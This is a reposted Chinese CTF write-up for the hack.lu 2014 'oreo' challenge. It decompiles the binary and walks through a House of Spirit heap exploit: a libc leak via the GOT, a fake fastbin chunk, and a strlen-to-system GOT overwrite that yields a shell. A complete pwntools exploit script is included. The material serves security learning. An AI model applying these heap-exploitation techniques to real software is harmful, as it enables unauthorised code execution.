码迷,mamicode.com
首页 > 其他好文 > 详细

2014-hack-lu-oreo 对技巧house of spirit

时间:2020-02-25 00:02:11      阅读:84      评论:0      收藏:0      [点我收藏+]

标签:select   read   strlen   eth   pen   ==   记录   script   order   

常规检查

??没有开启 RELRO ,意味我们可以修改 got 表地址。

逆向分析

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 

Add 函数

unsigned int add()
{
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = dword_804A288;
  dword_804A288 = malloc(0x38u);
  if ( dword_804A288 )
  {
    *(dword_804A288 + 13) = v1;
    printf("Rifle name: ");
    fgets(dword_804A288 + 25, 56, stdin);
    set0(dword_804A288 + 25);
    printf("Rifle description: ");
    fgets(dword_804A288, 56, stdin);
    set0(dword_804A288);
    ++dword_804A2A4;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}
  • dword_804A288:存储构造的块地址
  • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
  • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
  • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
  • dword_804A2A4:记录 add 次数

Show 函数

unsigned int show()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = dword_804A288; i; i = *(i + 13) )
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

??(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 (dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

Order 函数

unsigned int order()
{
  char *ptr; // ST18_4
  char *v2; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v2 = dword_804A288;
  if ( dword_804A2A4 )
  {
    while ( v2 )
    {
      ptr = v2;
      v2 = *(v2 + 13);
      free(ptr);
    }
    dword_804A288 = 0;
    ++dword_804A2A0;
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

??遍历并 free 掉所有块

  • dword_804A2A0:记录 order 的次数

Leave 函数

unsigned int leave()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(dword_804A2A8, 128, stdin);
  set0(dword_804A2A8);
  return __readgsdword(0x14u) ^ v0;
}

??把 Message 写入 dword_804A2A8 处

show 函数

unsigned int show_0()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", dword_804A2A4);
  printf("Orders: %u times\n", dword_804A2A0);
  if ( *dword_804A2A8 )
    printf("Order Message: %s\n", dword_804A2A8);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

??分别打印 new 次数, order 次数和 message 内容。

利用思路

利用过程

泄露 libc 基址

name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printAddr = libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

??*(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

伪造区块到 0x804a2a0

for i in range(0x3e):
    add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
order()

??我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

gdb-peda$ x /20xg 0x0804a2a8
0x804a2a8:  0x000000000804a2c0  0x0000000000000000
0x804a2b8:  0x0000000000000000  0x6161616161616161
0x804a2c8:  0x6161616161616161  0x6161616161616161
0x804a2d8:  0x0000000061616161  0x0000004061616161

??malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

覆盖 got 表为 system 拿shell

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

??这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system(‘/bin/sh‘)。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

exp脚本

from pwn_debug import *

pdbg = pwn_debug('oreo')
pdbg.local()
r = pdbg.run('local')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def add(name,desc):
    r.sendline('1')
    r.sendline(name)
    r.sendline(desc)

def show():
    r.sendline('2')

def order():
    r.sendline('3')

def leave(message):
    r.sendline('4')
    r.sendline(message)


name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24

add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printfAddr - libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']

for i in range(0x3e):
    add('a'* 27 + p32(0), 'a')

orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)

orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)

#gdb.attach(r)
order()

strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')

#gdb.attach(r)

r.interactive()

成功 get shell

技术图片

内容来源

堆利用之 house of spirit

2014-hack-lu-oreo 对技巧house of spirit

标签:select   read   strlen   eth   pen   ==   记录   script   order   

原文地址:https://www.cnblogs.com/luoleqi/p/12357237.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!